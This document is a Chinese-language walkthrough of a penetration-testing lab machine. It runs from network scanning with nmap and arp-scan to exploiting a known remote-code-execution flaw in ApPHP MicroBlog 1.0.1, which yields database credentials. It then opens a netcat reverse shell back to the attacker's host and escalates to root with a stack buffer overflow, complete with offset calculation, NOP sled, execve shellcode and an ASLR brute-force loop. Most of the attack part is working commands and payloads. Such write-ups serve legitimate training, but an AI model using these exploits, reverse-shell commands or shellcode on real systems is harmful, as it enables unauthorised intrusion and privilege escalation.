一:信息收集
1:主机发现
arp-scan -I eth0 10.9.23.0/24
nmap命令是一个网络扫描工具,用于发现主机和服务,并进行端口扫描等操作。以下是nmap命令的一些常用参数:
-
-sS:使用TCP SYN扫描方式进行端口扫描
-
-sU:使用UDP扫描方式进行端口扫描
-
-sV:对发现的服务进行版本检测
-
-O:进行操作系统检测
-
-A:进行操作系统检测、版本检测和脚本扫描
-
-p <port ranges>:指定要扫描的端口范围
-
-T<0-5>:设置扫描速度,0为最慢,5为最快
-
-v:显示详细信息
-
-oN <file>:将扫描结果保存到文件中
-
--script=<script name>:运行指定的Nmap脚本
arp-scan命令用于扫描本地网络中的主机,并显示其MAC地址和IP地址等信息。以下是一些常用的arp-scan命令参数:
-
-l:显示本地网络中的主机列表
-
-I <interface>:指定要扫描的网络接口
-
-r <net_range>:指定要扫描的IP地址范围
-
-q:以安静模式运行,只显示结果而不显示进度信息
-
-x <mac_address>:排除指定的MAC地址
-
-t <timeout>:设置超时时间
-
-T <delay>:设置扫描之间的延迟时间
-
-v:显示详细信息
2:端口扫描
nmap -T4 -sV -p- -A 10.9.23.57
3:端口探测
查看源码
发现提示,说这个脚本由 ApPHP MicroBlog v.1.0.1 生成,搜索一下有没有相关漏洞
searchsploit ApPHP MicroBlog 1.0.1
searchsploit -u #更新漏洞库
存在远程代码执行漏洞
下载查看脚本33070.py
searchsploit -m 33070.py -m 后面跟需要下载的脚本
尝试运行一下:
python2 33070.py http://10.9.23.57/index.php
**USERNAME:clapton PASSWORD:yaraklitepe
发现可以用,并且获得了数据库的用户名和密码
二:渗透测试
1:反弹shell
which nc 发现靶机存在nc
在 kali
开启 nc
监听:nc -lvp 6666
在shell
执行:nc 10.9.23.112 6666 -e /bin/bash
使用命令交互shell
:python -c 'import pty;pty.spawn("/bin/bash")'
切换用户clapton
查看note.txt发现提示给的存在缓冲区溢出,并且给了两个案例:
2:提权
将input文件下载到本地
scp input root@10.9.23.112:/root
赋予执行权限:
chmod +x input
关掉本地的ASLR进行测试,先禁用 ASLR,然后在 gdb 中加载二进制文件:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space gdb -q input
ASLR(Address Space Layout Randomization)是一种用于增强操作系统和应用程序的安全性的技术。它通过在每次运行时随机化内存布局,使得攻击者难以预测关键数据结构和函数的确切位置,从而减少了针对内存缓冲区溢出等攻击的成功率。ASLR可以有效地阻止许多常见的攻击技术,提高系统的安全性。
GDB(GNU Debugger)是一个功能强大的开源调试工具,用于帮助开发人员调试程序并查找程序中的错误。它可以在多种操作系统上运行,包括Linux、Unix和Windows等。GDB允许开发人员在程序执行过程中暂停、检查程序状态、查看变量的值、跟踪函数调用等,从而帮助开发人员定位和解决程序中的bug。GDB还支持多种编程语言,包括C、C++、Java等。开发人员可以通过GDB来提高程序的稳定性和可靠性。
然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l 1000
将生成的字符串用命令 r 在 gdb 中运行二进制文件:
r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
在 0x41376641 处得到了错误,计算一下偏移量:
./pattern_offset.rb -q 0x41376641
计算出偏移量是 171,用 python 构造字符串:
r $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')
查看ESP寄存器的值:
x/s $esp
用esp 寄存器的 0xffffcfc0 替换 4 个 B,因为是小字节序,倒过来写,构造 payload:
r $(python -c 'print("A" * 171 + "\xc0\xcf\xff\xff" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')
利用构造的payload在本地进行测试,成功获得root权限,命令:r $(python2 -c 'print("A" * 171 + "\x40\xd0\xff\xff" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')。
3:靶机验证
切换到home目录下
gdb -q input
run $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 1000 )')
x/s $esp
读取下靶机中的esp值,获得:0xbf8c7610,替换掉上面kali payload中的esp值。
r $(python2 -c 'print("A" * 171 + "\x10\x76\x8c\xbf" + "\x90" * 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')
因为靶机启用了 ASLR,没有权限关闭,所以写个循环:
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x76\x8c\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
靶机结束